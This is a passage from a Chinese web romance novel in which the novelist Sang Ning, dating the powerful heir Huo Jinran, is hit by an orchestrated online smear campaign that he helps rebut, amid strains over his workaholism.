但兄弟始终是兄弟，平日各忙各的，也只是偶尔聚一次，大部分时间，霍今然基本都是一个人度过的。
遇到什么事，他也总是一个人扛。
如果说感情里是一物降一物，倒不如说是霍今然很需要有桑柠这样的姑娘陪在身边，热情，明媚，可以给予他常人给不了的情感需求。
直至此时，陆寒笙也终于明白了，早先霍今然的那句话，有她在身边，周围的空气好像都跟着鲜活了起来。
桑柠的出现，刚好弥补了霍今然心里空缺的一块，如今他怎么护着她都不为过。
估计要不了多久，他可能还会彻底沦陷。
这边陆寒笙看的透彻，那边褚晚柠却还是想不通，不过是一个写网文的小作家，霍今然何至于这么喜欢她。
望着霍今然离开的背影，褚晚柠心里一阵憋屈。
十月底的寒风拂面，却都抵不过刚才霍今然对她切骨入寒的态度。
瞧着霍今然离开，姜昱霆走过去，他拉着褚晚柠，坐到了一旁的椅子上：“怎么样，死心了么，要不趁早找别的男人。”
褚晚柠摘掉身上的包包，用力甩到了椅子上：“我不甘心，是我先认识的霍今然，我喜欢了他那么久，我就是不甘心让那个小狐狸精抢走！”
姜昱霆微摇了下头，褚晚柠身为褚家的独生女，家里长辈对她过分溺爱，她要什么就给什么，从小养成的刁蛮的性格，很难再改掉了。
劝她放弃霍今然，也无异于是对牛弹琴。
姜昱霆也懒得劝了：“那你想怎样？”
褚晚柠想了下，问道：“以你们男人的角度来看，你觉得霍今然是真的对那个小狐狸精动心了，还是只是玩玩？”
“能谈恋爱，还能让身边的朋友知道，不藏着掖着，那肯定还是有些喜欢的。”姜昱霆回道，“不过有多喜欢，暂时也谈不上爱。”
“怎么说？”
“等霍今然哪天把他的小女友娶回家门，再来说爱。”姜昱霆没所谓的回道，“霍家又不是什么阿猫阿狗就能随便进去的，他肯娶，就是敢跟霍老爷子正面刚了，那才是不顾一切的真正爱上了。”
褚晚柠嗤之以鼻：“那倒也是，他可舍不得如今在霍家的地位，为了个女人，让他放弃这一切，那个小狐狸精配么！”
“所以你要是还喜欢霍今然，就只能再等等，至于等多久，那可就难说了。”
跟姜昱霆聊完，褚晚柠虽然气顺了些，但还是有些窝火：“就算我能等，可今天这口气，我实在咽不下去，怎么着我都想教训下那个小狐狸精。”
“喂，你可别再犯浑啊。”姜昱霆提醒她。
褚晚柠抿了下嘴，不耐烦道：“知道了，你以为我还是小时候那么笨么，出了事，再把我送到国外，好几年都见不到霍今然的话，岂不是白白便宜了别的女人。”
“你知道就好。”
褚晚柠凑过去：“你门路多，要不你给我出个主意，想办法教训一下那个小狐狸精。”
姜昱霆碾灭了指间的烟：“真想教训？”
“当然，恨不得她死呢。”
姜昱霆瞪了褚晚柠一眼，让她收着些脾气。
转瞬，姜昱霆又轻飘飘的丢过去一句：“你要是实在想出口气，我这儿倒还真有个办法。”
19. 19
日子一天天流逝，十月底的那几天转眼而过，很快迎来十一月。
北方寒冷的冬天如约而至，月初时还下了一场雪。
桑柠小说改编的那部电视剧《一见成欢》已经开拍，第一场戏，就是男女主重逢在初雪夜。
难得的雪天，桑柠忍不住拉着连歆语跑去探班。
下了车，朝片场走去时，连歆语禁不住有些兴奋道：“诶，我等下能跟男主要个签名么。”
桑柠看连歆语兴奋的像个追星的小女生似的，忍不住打趣了一句：“原来你喜欢这款的啊？”
“不然呢，那你以为我喜欢什么样的？”
“我以为。”桑柠抬头看了过去，透过雪花，她看到一个熟悉的身影。
早先在高尔夫球场见过的那位，霍今然的朋友陆寒笙。
“你喜欢那样的。”
“哪样？”连歆语也跟着抬头望了过去。
片片坠落的雪花里，陆寒笙一身黑站在一辆库里南面前，不知道在跟人聊什么，旁边人看起来都对他毕恭毕敬的样子。
连歆语瞧着陆寒笙那副拽样，嗤之以鼻道：“我对那种拽里拽气的男人没兴趣。”
“哦，这样啊。”桑柠故意拉成了尾音。
看到陆寒笙的视线望过来，桑柠微点了下头，而后她就拉着连歆语，走了过去。
“Hi，这么巧，你也来探班？”桑柠主动打了声招呼。
陆寒笙瞥了一眼，站在旁边不吭声的连歆语，而后回桑柠：“然哥说你要来探班，让我好好招待你。”
桑柠莞尔一笑：“那就麻烦你了。”
瞧着旁边的连歆语杵着不动，陆寒笙又忍不住看了她一眼，刚要说话，那边有人唤：“桑柠！”
是电视剧的编剧找她。
桑柠招了招手，而后跟陆寒笙道：“我去跟编剧见一面，麻烦你照顾一下我的朋友。”
说完，桑柠就转身离开了。
连歆语还站在那里，她偏头望向陆寒笙：“干嘛一直偷看我，我也不是什么免费展览品。”
陆寒笙勾了下唇：“长得好看还不让看？”
“……”
那场戏一直拍到晚上九点才结束，雪还在下，整个街道已经覆满了一层白白的积雪。
探班结束，桑柠收到霍今然的微信，问她要不要一起去吃火锅。
桑柠答应了下来。
跟着陆寒笙一起赶过去时，霍今然还没到，包间里只有宋觉扬和方斯舟。
“嫂子，我们又见面了。”宋觉扬像上次一样很热情的唤着桑柠。
桑柠尴尬扯了扯嘴角：“是呀，也好久不见了。”
她还是不喜欢嫂子这个称呼，毕竟她比霍今然他们几个小几岁，不过宋觉扬喜欢叫，她也就没多说什么了。
连歆语跟着落座了下来，陆寒笙随后坐到了她的对面。
方斯舟将餐单分别递给了桑柠跟连歆语：“我们先点餐，估计然哥马上就到了。”
“谢谢。”桑柠接了过来。
连歆语也跟着说了声谢谢。
桑柠她们点餐时，宋觉扬他们三个聊起了天。
“我昨晚加了个美眉，那……”宋觉扬差点就脱口而出那大胸时，意识到还有两个小妹妹在，他低头给陆寒笙和方斯舟发了条微信。
宋觉扬：妈的，那胸大的我一只手都抓不住，坐我身上时，晃得我眼都快花了。
方斯舟：行了你，这个时候非得聊？
方斯舟：对面有俩女生呢。
宋觉扬：这不是转微信跟你们单独聊了。
宋觉扬：我实在憋不住想炫耀。
方斯舟：找个正经姑娘吧，少跟那些乱七八糟的网红混了。
宋觉扬：你是人么，怎么能让我这样的去祸害人正经姑娘。
陆寒笙勾唇笑了下：你倒是挺有自知之明。
在群里丢过去这句话，陆寒笙将手机丢到一边，抬头，望向对面时，刚好看到连歆语正在端着杯茶水，一边抿着茶，一边在偷看他。
被抓了个正着，连歆语却也不闪躲，反倒跟陆寒笙对视上了。
陆寒笙眉眼一松，觉得这姑娘真有意思，总是一股劲劲的，他又拿起一旁的手机，点开微信，翻出加好友的二维码。
而后他伸手搁到了连歆语的面前：“认识这么久了，还没加微信，加个好友吧。”
连歆语也不扭捏，她放下茶杯，拿起了手机：“行啊。”
桑柠在旁边笑而不语的看着俩人：看来有戏。
刚加上陆寒笙的微信，连歆语就收到了他发来的一条信息：刚才是不是又偷看我？
连歆语：下次你偷看回来不就行了。
回完，连歆语也没再跟陆寒笙聊，将手机放到桌上，偏头就看到桑柠正望着她这边，笑的不明就里。
“看我干嘛？”
“没事啊。”桑柠含着笑回道。
话刚落，包间的门响了一下，还以为是霍今然到了，桑柠忙转头望了过去，看到的却是来收餐单的服务员。
她心里不免有些失望。
算算时间，霍今然也该到了，却迟迟都见不到他身影。
桑柠拿出手机，看了一眼，刚才在微信里问霍今然还要多久才到，他到现在都还没回复呢。
可能是在来的路上，他还在忙工作，所以顾不上看她的微信吧。
也只能再等等了。
没多久，几人刚才点的鸳鸯锅，还有各种涮菜就一一盛上了桌。
霍今然却还没到。
“然哥怎么回事，快一个小时了，还不到。”宋觉扬等的有些不耐烦了。
方斯舟安抚了一句：“可能雪天路滑，要不然就还在公司忙呢。”
桑柠拿起手机：“我给他打个电话吧。”
她起身，走到了包间的窗户边，拨通霍今然的电话，那边没人接听，想了许久，电话才终于接通。
虽然等的久了，可一想到霍今然应该很快就到了，桑柠的语气里是掩饰不住的期待：“喂，你到哪里了？”
“桑小姐，是我，霍总身边的唐秘书。”
听到唐志诚的声音，桑柠将手机换到了另一边：“您好，唐秘书，霍总现在还在公司么？”
“刚才霍总其实已经出发了，不过突然有个国外的客户来京城，所以霍总就又返回了公司，现在正在接待那位客户。”唐志诚回道。
桑柠轻轻地吐了口气，就知道一定是因为工作，才这么久都没到，也不知道打个电话过来。
“桑小姐？”
“
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嗯，我听着呢。”
“您别挂我电话，我让霍总接一下电话。”
“好，麻烦您了。”
电话那端响起了脚步声，许是唐志诚去找霍今然了，不一会儿，那边就响起了对话声。
“霍总，桑小姐的电话。”
“让她等着。”
从电话那端传来既熟悉又陌生的声音，遥远的仿佛在另一个时空。
窗外还在下雪，桑柠盯着那些簌簌落下的雪花，听到霍今然的声音时，那些零星飘落的雪花，仿佛也落入了她的心里。
不过几分钟前，她其实还很期待霍今然的到来，心里还满是跟他可以在初雪天吃火锅的喜悦，只是霎时，那些期待，喜悦，就被落入心底的雪水扑簌簌的浇灭了。
桑柠甚至都能想象的到，霍今然出发了一半，得知工作上的事，于是在跟她吃火锅这件事二选一时，他毫不犹豫的选择了更重要的事，而返回了公司。
一点都不在乎她的感受。
那句让她等着，也尤为的陌生。
一开始是他跟她约好要吃火锅的，可最后爽约的也是他，桑柠很不喜欢这种感受。
从小父母因为忙生意，答应好带她去游乐场，答应好带她去旅行，答应好给她过生日，每一次都答应的好好的，却也每一次都让她的期待生生落了空。
那种感觉很不好受，甚至还会影响她后面好几天的心情。
就好像是她心里覆了一场梅雨天，连续数日阴沉不断，憋屈了很久，才终于释怀。
桑柠轻叹了口气，却也不吵不闹，小时候经历过太多次这种事，吵闹没有用，期待落空了就是落空了，争取不回来，也弥补不回来。
她还握着手机，轻轻地吐出了一句话：“让他忙吧，我不打扰他了。”
挂断电话，桑柠拿着手机又返回到了座位上。
“怎么样，霍今然什么时候过来？”连歆语看她落座后，便问了她一句。
桑柠将手机搁到桌边：“他有事，还在公司，让我们先吃。”
她勉强笑了下，可看着却一点都不自然。
宋觉扬眼力见快，紧忙安抚了一句：“嫂子，别介意这种事，然哥哪儿都好，就是忙起来是个拼命三郎，谁都拉不住。”
桑柠拿起了筷子：“我没事，等那么久了，大家都饿了，我们还是先吃吧。”
其他人也跟着纷纷拿起了筷子。
陆寒笙抬眼，望了一眼桑柠，想说什么，话到嘴边，他到底是什么都没说。
宋觉扬刚才说的很对，霍今然哪儿都好，当恋人也能给予很多，唯独忙起来时，会六亲不认。
半点时间都不想分给旁的人。
那顿火锅直到结束，霍今然都没现身，桑柠回到家时，已经是夜里十一点多了，手机很安静，没有一条新消息。
霍今然怕是忙的已经忘记她了。
因为霍今然的那句让她等着，桑柠还有些气他，也不想理他，就连一声晚安都不想跟他说。
窗外还在落雪，桑柠没再想太多，准备洗完澡就睡觉。
可没想到，已至半夜时，却突然发生了一件事。
像是凭空在雪地里投下一颗地雷，轰的引爆，雪地四分五裂，那一声巨响，也彻底打破了这晚雪夜的宁静。
20. 20
桑柠又上热搜了。
大半夜的，还是个黑热搜，毫无预兆的空降热搜第一。
——#桑柠第三者插足#
起因是某个论坛，匿名爆出知名网络小说作家，插足他人感情，还是知三当三。
爆料者隐隐透漏了些信息，眼尖的网友瞬时就扒了出来，爆料的网络小说作家就是桃夭。
原名桑柠。
那条论坛的评论不到十分钟就已过千，被营销号搬运到微博，眨眼间就冲到了热搜第一。
桑柠睡前登陆了下微博，意外看到那个热搜时，还以为是同名同姓的其他人。
点开热搜，看到最上方的导语：某知名网站小说作者桃夭，原名桑柠，疑第三者插足感情。
“……”
桑柠微怔，脑海里一片空白。
她坐在那里，整个人像是僵掉了似的，只能眼睁睁的盯着屏幕，热搜的实时互动里，正在自动频繁的更新网友的留言。
——不会吧，她长那么漂亮，有钱有才华，应该很多人追才是，怎么可能跑去当第三者，犯不着吧。
——得了吧，再好看，也是一脸的小三样儿。
——不是我说，要不是耍手段攀上霍家那位掌权人，你觉得那位能看上她么？
——看来空穴不来风啊，上次突然有个霍家跟褚家的联姻，就觉得不对劲了，没想到还能爆出这么大的一个瓜。
……
网上这种感情瓜，凑热闹的人很多，有些网友口无遮拦，甚至开始出口大骂桑柠。
桑柠还是觉得有些懵，好半天都反应不过来，她平日里做事都很规矩，这样的黑热搜无疑给她冲击力很大。
她这边很没反应过来，手机就接连响起微信新消息的提示音。
连歆语：桑柠，别去看热搜评论，这应该是有人故意要黑你的。
小编：桃子，怎么回事啊，你文底下被各种不良评论刷屏了，插足他人感情这件事是真的，还是假的？
……
微信新消息太多，桑柠都还没来得及看完，电话又突然响了起来，是父亲桑敬山打来的。
桑柠接通了电话：“喂，爸爸，这么晚还没睡？”
“我还能睡得着么，现在都来问我，你女儿是不是抢了别人的男朋友。”电话那端的桑敬山重重的叹了口气。
刚才桑柠看到这么晚，桑敬山还打过来电话，她就已经猜到是什么事了。
网络信息时代，很多事都传播的很快，尤其是明星或者豪门的绯闻八卦，一夜之间，就能迅速传遍整个网络。
桑柠从来都遇到过这种事，她也不是明星，没有专业的团队帮她解围，她现在孤立无援，无所适从。
可更难过的是，父亲竟然一点都不相信她。
“爸，我没有，您别信网上乱说的行不行。”
“那怎么不说别人，就说你，这种不要脸的事传出去，你让我多丢脸，以后做生意，人家还有人信我么？”桑敬山质问道。
桑柠光脚在地上踱步，她手掌覆着额头，很无力的感觉：“爸，别人怎么说我，我不管，可是我是您女儿，您可不可以坚定的站在我这边一次啊！”
说完这句话，桑柠突然委屈的红了眼眶。
她想起以前过年回奶奶家，跟家里其他小朋友起争执，不管是堂妹，还是堂姐，也不管是不是她的错，父亲每一次都不站在她这边，每一次偏袒的都是其他家的孩子。
比她小的堂妹，她需要让着，比她大的堂姐，她需要哄着。
她从来都没有在父亲那里得到过真正的偏爱。
挂断电话，桑柠抹干眼泪，她紧咬着唇，太过用力，红色的唇瓣像是能一下子就溢出血来。
那些疼痛感却也能让她保持清醒，不会崩溃。
桑柠重新点开微信。
这时，母亲许艾君给她发来条微信：你爸刚才气急了，说话重了，可女儿啊，你要是真做错了，就早点承认错误，及时改正，现在微信群里都在传你抢了别人的男朋友，要是真的，你赶快跟那个男人分手。
桑柠重重的叹了口气。
她没回复许艾君，而是回复了连歆语：我没事，你睡吧。
又回复小编：小编，我没有做那些事，也没插足任何人的感情。
小编：好，有你这句话，我就信，我已经帮你联系网站的法务部了。
桑柠望着手机屏幕，眼泪突然啪嗒啪嗒的又簌簌落了下来，看到平日里只谈工作的小编那么信任她，她既感动，又委屈。
委屈的是，爸爸妈妈竟没有一个人肯站在她这边。
退出微信，桑柠打开小说的网站，看到她文章下面的评论，一水的都是骂人的话。
——臭婊子！抢别人的男朋友！你去死吧！
——浸猪笼！浸猪笼！浸猪笼！
——知三当三，你不得好死！
……
她文章的评论区已经被各种肮脏的话刷屏。
刚才好不容易保持的清醒，却在那些肮脏污秽的评论前，一击即溃。
桑柠握着手机的双手也不受控的开始微微发抖了起来，不过是个二十岁出头的姑娘，也不过是个网络小说作家，又不是明星，哪儿见过这么大的阵仗。
她整个人都好似掉进冰窖似的，血液凝固，胸口处却传来阵阵刺痛。
就在冰窖里仿佛有一只大手拖着她不断下坠时，手机屏幕的上方，突然冒出一条微信的新消息，将桑柠的思绪拉了回来。
是霍今然发来的：我在门口，过来帮我开门。
怕惊着桑柠，他没有自己输密码进门。
桑柠将手机放到桌上，她走过去，打开了门，门外霍今然就站在那里，他可能刚忙完工作，脸色有些疲惫。
一见到他，桑柠就红了眼眶，刚才心里紧绷的那根线，也啪嗒一下断掉了。
她光脚走过去，扑到了他怀里。
终于。
不用再忍耐。
她忍不住呜呜咽咽的哭了出来。
霍今然将她紧紧地拥入怀里，他能感觉到怀里的人还在瑟瑟发抖，像是某种被惊吓到的小动物一样，惹人心疼。
他将她抱得更紧了些：“不怕，有我在呢。”
进了屋，桑柠一直不说话，只是窝在沙发里，啪嗒啪嗒的掉着眼泪。
霍今然坐在她对面，护着她，他长指抹掉流到她下巴的泪珠子：“再哭下去，明天眼肿了，可就不漂亮了。”
桑柠扁着嘴，眼眶红红的，像只被人欺负狠了的小兔子：“她们好多人骂我，说我抢了别人的男朋友。”
“别理她们，可能她们不是人呢。”
桑柠疑惑的望着霍今然。
霍今然没多说什么，只是揉了揉桑柠的脑袋：“去洗把脸，剩下的事交给我就行。”
看桑柠不动，霍今然起身，他抓住她手腕，轻轻扯了下：“听话，去洗脸。”
看他很笃定的样子，像是天塌下来都有他顶着，桑柠心里踏实了些，她嗯了一声，而后起身，朝着盥洗室走了过去。
霍今然站在那里，直到看着桑柠的背影消失在视线里，他从口袋里摸出烟盒，点燃了一根烟。
来的路上，霍今然就已经吩咐唐志诚撤了热搜，但这次网暴规模太大，很明显是有预谋的。
霍今然指间夹着烟，他走到阳台，给陆寒笙打了个电话。
待那边接通，霍今
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然开口就直接问道：“你那边怎么样？”
“电视剧微博底下评论不堪入目。”电话那端的陆寒笙回道。
霍今然单手撑在栏杆上，他抽了一口烟，缓缓吐着烟气。
“瞧着不像褚千金的行为，她没这个脑子。”陆寒笙的声音再次响起。
霍今然指间还夹着烟：“能查出来是谁干的么？”
“很难，追踪到的IP都是假的。”陆寒笙跟着说道，“这种规模只有我旗下的大流量艺人遇到过，后面明显有推手，网络水军下场，跟着百家营销号联动，全网铺假料，这是要彻底毁桑柠的清白。”
霍今然低垂着眼眸，他望着外面的雪夜，眼底暗色翻涌：“就算不是褚晚柠搞得，也是她授意的。”
“她还挺疯，连微信群里都在传播。”
霍今然低哼了一声，半句有关于褚晚柠的话都不想再讲，他跟着说道：“我这边已经叫人清掉网上的言论了，尽快处理一下你那边的，别影响了电视剧的拍摄。”
“放心，已经交代下去了。”陆寒笙回道。
“还有。”
话刚落，霍今然感觉到背后有人软软的贴了过来，桑柠搂着他的腰，依偎着他。
对他的那种依赖感，仿佛与生俱来。
霍今然只觉那一瞬，他心底的某一处彻底的沦陷了。
他碾灭指间的烟，而后轻拍她的手背，示意她，在她松开手之际，他转身，将她单手拥入了怀里。
桑柠继续搂着霍今然的腰，她紧贴着他结实的胸膛，耳边传来他强有力的心跳声，咚咚咚的听得她好不安心。
这会儿，有他在，她已经完全放松了下来。
霍今然又跟陆寒笙聊了几句其他的，挂断电话，他又打给了唐志诚。
“霍总？”
“怎么样了？”
“热搜已经撤干净了，论坛的帖子也已经删了。”
霍今然轻嗯了一声，而后又凉凉道：“抓住源头，给我告他。”
“已经让律师收集证据了。”唐志诚回他，“现在麻烦的是，微信私下的传播，不太好处理，所以明天得尽快让桑小姐澄清才行。”
“知道了。”霍今然挂断了电话。
桑柠还靠在他的怀里，听他那边没动静了，她才抬起头，却也不说话，一双黝黑溜圆的大眼睛望着他。
她刚洗完脸，眼眶还有些红润，眼尾似是浸着水汽般，凭白多了些无辜感。
霍今然抬手，轻捏了下她的脸颊：“你明天让你的网站发个澄清声明，如果需要，我可以派个律师过去。”
“嗯。”桑柠轻应了一声，又将脑袋埋进了霍今然的胸口。
她望着窗外悠然落下的雪花。
刚才发生的事，仿佛一场海啸过境，在她没任何准备时，毫无预兆的呼啸而过，只剩她心底残缺凌乱一片。
直到。
霍今然意外的出现，他还帮她收拾了残局，妥帖到，像是把她捧在掌心里似的，不让她受一点伤害。
窗外还在落雪，一片一片。
桑柠眼睫微颤，她抬头，盯着霍今然的眼睛，很认真的问他：“要是今晚的事跟你无关，只是有人单纯的想污蔑我，你还会像今天晚上一样，坚定的站在我这边吗？”
霍今然低垂的眼眸，笼着她的身影，窗外依然在落雪，天地宁静，万物一空的人世间，仿佛只剩下他跟她两个人。
刚才他心底沦陷的那一处，似是生出藤条来，穿破他的胸膛，将桑柠牢牢捆住，她仿佛是他身体里的某一部分。
他开口，几乎是不假思索的，给了一个她都不敢奢望的答案。
“会，不管发生什么事，我都会站在你这边。”
21. 21
彼时，霍今然说的那句话。
每个字，桑柠都是信的。
至少在那一晚，是霍今然及时出现，将她从流言蜚语的冰窖里拉了出来。
还一直陪着她到天亮。
早上，雪已停。
跟着停止的，还有网上关于桑柠纷纷扬扬的讨论，以及谩骂。
昨晚有关于她的黑热搜已撤，跟她大名关联的第三者插足的黑词条也没了，就连她小说底下的污言秽语的评论也在一夜之间消失了。
干净的仿佛昨晚发生的事，不过是梦一场。
但吃完早餐，跟着霍今然出门时，桑柠才惊觉那场噩梦还没彻底结束。
唐志诚迎面走过来，跟桑柠打了声招呼，就跟霍今然说：“霍总，外面都是记者。”
霍今然没说话。
桑柠偏头跟他说：“要不你先走吧，不用送我，我从地下停车场出去。”
本来桑柠要去一趟她所在的网站总部，跟她的小编商量发布网站声明的事情，是霍今然提出要送她过去的。
说话时，桑柠就松开了霍今然的手掌，可还没脱离，就又被他牢牢的握住了。
“不用。”霍今然淡淡道，“一起出去，这么好的澄清时机，怎么能错过。”
说完，霍今然转而跟唐志诚说道：“带我过去，还有。”
霍今然微勾长指，唐志诚随即默契的靠近他，只听他又说道：“等下你拍个视频。”
唐志诚点头应了下来。
朝着外面走出去时，离老远就看到霍今然的车前，围了一众记者。
霍今然牵着桑柠的手，大步走了过去，有记者想围上来，却被高虎和单羽一起给拦住了。
那些记者靠近不得，只得围在了原地拍照，提问。
“霍先生，最近网络上关于您的感情传言，请问您有什么要回应的吗？”
“之前就爆出霍先生要跟褚家的千金联姻，现在又爆出您女朋友第三者插足，请问这都是真的么？”
……
将桑柠送上车，霍今然独自站在车前，应对那些记者。
他就站在那里，低着眉眼，旁若无人的理了理衬衫的袖口。
这男人未表现出任何的不耐烦，但气质冷如松雪，亲近不得，不说话，就已经让人感觉到了，他并不想回答那些无聊的猜测。
直到。
有个记者突然问道：“有人爆料霍先生金屋藏娇，所以桑小姐住的伊甸园公寓，也是您出资购买的吗？”
车里，桑柠听到这样的传闻，不禁微抿了下嘴：扯淡呢。
车外，霍今然懒慢的双手插兜，他微抬眉眼，望向了那位记者：“你要是没证据，我可以告你诽谤。”
对面突然鸦雀无声。
霍今然冷眼扫过那一众记者：“还有什么问题么？”
对面无人说话。
霍今然漫不经心的丢过去一句话：“那就轮到我说。”
他望着那些记者：“关于霍家跟褚家的联姻，纯属无稽之谈，早已澄清，至于昨晚对我女朋友的一系列的网暴污蔑行为，我会追究到底。”
话落，那些记者们也没再提问，但很快就听见有人问：“那霍先生会跟现在的女朋友结婚吗？”
霍今然没应话。
唐志诚收起手机，紧忙上前解围道：“各位记者朋友们，有关于近期网络上的传言，我们霍总已经解释清楚了，至于其他私人问题，我们一概不再回应。”
说完，唐志诚转身，护着霍今然绕过车身，帮他打开了车门。
霍今然趁上车时，给唐志诚丢过去一句：“刚才拍的视频，发到网上。”
“好的，霍总。”唐志诚又帮他关上了车门。
那条视频很快就以匿名的形式，发布到了网上。
网友们争相讨论，热度不断攀升，甚至远超桑柠这边发布的澄清声明。
下午时，连歆语拎着一块蛋糕，过来看桑柠。
“昨晚我看到你热搜的时候，吓了我一跳，我第一反应，就想到肯定是那个褚晚柠干的。”连歆语依然还很气愤。
桑柠倒了杯果汁，顺着桌子推给了连歆语：“其实上次看到她，就一副想吃了我的样子，但也没想到她会用这种招数。”
“太卑鄙了，用这种烂招，就是想毁了你的名誉。”连歆语越说越气，又愤愤道，“下次见了她，甩她一巴掌都不为过。”
“别冲动，现在根本就没证据指正是她做的。”
连歆语有些讶异道：“连霍今然都查不到？”
桑柠捧着果汁的杯子，她微摇头：“查不到，她怎么可能笨到自己上网，留下证据呢。”
“也是，昨晚那个规模，一看就是下水军了，娱乐圈惯用伎俩。”
桑柠拆开蛋糕的盒子，她切下一块，放到了连歆语的面前。
连歆语接过蛋糕：“你昨晚没吓到吧？”
桑柠抿了一口果汁，她咬着杯口，摇了摇头：“昨晚霍今然陪了我一晚上。”
连歆语哼笑了声：“还算他有良心，不然火锅爽约那次，你又得跟他闹了。”
桑柠没说话。
听连歆语这样一提，她似是想到了什么，如果昨天晚上她被人网暴时，刚好赶上霍今然正在忙，他还会第一时间赶来她这里么？
还是说，会像吃火锅一样，将她不管不顾的晾到一边。
“桑柠？”
听到连歆语的声音，桑柠回神：“嗯，怎么了？”
“我还想问你怎么了，怎么突然愣那儿发呆啊？”连歆语用勺子挖了一小口蛋糕。
“没什么。”桑柠将果汁杯放到了一边。
连歆语拿起手机，翻到网上那段视频，她点开播放，给桑柠示意了下：“你家霍今然这张脸，不去当明星，可真是可惜了。”
桑柠抬眸睨了一眼，那段视频她已经看了好几遍了，连歆语说的没错，霍今然确实长了一张祸害人间的脸。
视频里，雪光漫天，霍今然出现在镜头时，他艳丽的五官，仿佛是在下雪天才会出没的雪妖般，惊艳到令人心空。
视频将要播完，又传来了那个记者的提问：“那霍先生会跟现在的女朋友结婚吗？”
连歆语直接黑了屏幕：“现在的记者，跟那些七大姑八大姨一样，恋爱了就催结婚，结婚了就催生孩子，有没有可能，这些事都跟他们没关系呢。”
“不问这些，哪儿会有话题度。”桑柠随口丢过去一句。
“不过话说回来，视频里的霍今然还挺男人，不仅及时辟谣，还要帮你讨回公道，看来做恋人，安全感这方面他还是可以及格的。”
“差就差在，他太忙了是么。”
连歆
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语瞅了桑柠一眼：“这难道不是你跟他在一起时，就明白的事么。”
“我知道。”桑柠用小叉子，叉了块蛋糕，含到了嘴里。
“行了，别想那么多了，霍今然对你还不够好，这么护着你，够可以了，反正现在我都对他改观了。”连歆语劝了她一句。
桑柠又叉了一小块蛋糕：“其实他昨晚赶过来，我就已经很感动了。”
只不过刚才，可能胡思乱想了一下。
怕以后真的有事，跟他事业相冲突时，他还是会毫不犹豫的放弃她。
对面的连歆语又感叹了一句：“刚才视频里，他那样认爱，不也很男人么，你心里肯定甜蜜死了。”
“那不是他身为男朋友该做的事么。”桑柠拿过一旁的手机。
嘴上很傲娇，可她手指却很诚实的打开了手机里，她经常买内衣的那家网站，选了一套红色的性感蕾丝内衣。
还是吊带袜的那种。
加进购物车，刚付完款，手机屏幕上方就冒出一条信息。
是江念惜发过来的：柠柠姐，我看到网上的事了，你没事吧，要是有空我们约出来见一面吧。
读完那条信息，桑柠没在意的指尖轻触手机侧键，黑了屏幕。
没理会那个江念惜。
跟江念惜算不上交情多好，因为上次换女主事情，也算是撕破脸了，早就不联系了，也不知道那丫头怎么突然又想要跟她联络感情了。
无事不登三宝殿，江念惜心眼那么多，谁知道她又打什么主意。
桑柠才懒得理呢。
一周后，桑柠收到了她在网站买的那套性感的蕾丝内衣。
霍今然这几天很忙，没空来她这边，桑柠就想去酒店找他，给他一个惊喜。
也算是奖励他，上次她被网暴时，他那样护着她。
桑柠翻出单羽的微信，给他发了条微信。
——你好，你老板今天大概几点回酒店呀？
单羽：大概八点左右。
单羽：桑小姐要过来吗？
桑柠：我想提前过去，还有你帮我保密，先别告诉你老板我过去的事。
单羽：哦，明白。
单羽：那桑小姐到时联系我就行，我送你上楼。
桑柠：好的，麻烦你了。
傍晚七点多，桑柠开车抵达金缦丽酒店，她提着一大堆东西，跟着单羽进入了酒店的总统套间。
离八点还有些时间，怕干等着有些无聊，桑柠就泡了个澡。
洗完澡，她换上了那套新买的蕾丝内衣。
衣帽间的白光打下来，流转在她雪白的皮肤上，她站在镜子前，打量着她姣好的身材。
刺绣的蕾丝半遮半掩，红色的吊带袜透着一股勾人的魅惑。
桑柠已经开始期待霍今然见到她的样子了。
旁边的手机屏幕亮起，进来一条微信，桑柠扒头看了一眼，是单羽发给她的：桑小姐，霍少已经到了，正上楼呢。
桑柠：他一个人吗？
单羽：不是，还有唐秘书。
桑柠将手机搁到一边，她走出去，关了房间里的灯，屋子里霎时黑了一片。
下一秒，外面突然响起了开门的声音。
桑柠惊得呼吸一窒，心跳也跟着怦怦直跳，她紧忙跨进了衣帽间里，悄悄的躲在了暗处。
22. 22
房门关上。
霍今然的声音响起：“那份合同真的有问题？”
“收款人账号不对，查了下是国外的账户。”唐志诚回道。
霍今然冷哼了声：“你叫人盯紧霍志霄，查查他究竟想搞什么。”
“明白。”唐志诚跟着说道，“九点还有个重要会议，霍总先休息一下，到时我来接您。”
“嗯。”霍今然脱掉身上的大衣，随手丢到了沙发上。
衣帽间里，桑柠屏息听着外面的动静，听到唐志诚离开的声音，她刚要走出去，就又听见霍今然的手机响了起来。
还是微信视频邀请。
桑柠鼓着腮帮子，闷闷的吐了口气，她只好继续窝在衣帽间里等着了。
外面，霍今然接通了微信的视频聊天。
“父亲，有事找我？”
视频里，霍冠良神情严肃：“如果褚晚柠实在不满意，我给你安排其他人，跟那个小作家在一起，惹出多少事端了。”
“父亲就为这种小事找我？”
“关于你的人生大事，这怎么能是小事？”
霍今然神色淡凉：“我自己会看着办，不劳烦父亲了。”别想拿联姻控制我。
“怎么，你还真的想跟那个小作家结婚吗？”
衣帽间里，桑柠咬着唇，安静的听着外面的对话。
外面似乎安静了下去，没听到霍今然的声音。
桑柠低垂着眼睫，没什么焦点的望着门口透过来的一点白光。
半晌，只听霍今然低哑的声音响起，语气如常的淡而无谓：“就算我不跟她结婚，我也不会答应您给我安排的联姻。”
他的语气淡的就好像在说，今天不下雪了似的，既平常，也没任何感情。
桑柠眼睫微颤，她还低着眼眸，望着门口白扑扑的那一点光亮。
不失望是假的，假装无所谓也是假的。
她心里还是有些不舒服。
听到霍今然挂断了视频，桑柠穿着那套蕾丝内衣，走了出去。
空空的房间里，很突兀的响起了高跟鞋踩在木制地板上哒哒的声响。
霍今然将手机放到一边，他微撩眼尾，望向了衣帽间的方向，很快就看到桑柠走了出来。
她走到他面前，停下，叉着腰问他：“好看么？”
霍今然微抬眼皮，视线从桑柠的身上掠过，红色网丝的吊带袜包裹着她那双修长的玉腿，本应柔弱无骨，柳弱花娇，可吊带那里却凭白多了些野性的妩媚。
像是山崖边绽放的红玫瑰，激情热烈，让人从骨子里生出欲罢不能的渴望。
霍今然喉结微滚动，他轻吐出一个字节：“嗯。”
桑柠眼中却寻不得半点笑意：“本来想给你一个惊喜的，可我现在没心情了。”
说完，桑柠故意背转过身，当着霍今然的面，她拿起椅子上的貂绒大衣，直接披到了身上。
“桑柠。”
身后霍今然的声音响起，可几乎是在同一时间，他的手机也跟着响起了来电铃声。
已经朝门口走去的桑柠突然停下了脚步，她转身望了过去，不出意料的，她看到霍今然正背对着她，接起了电话。
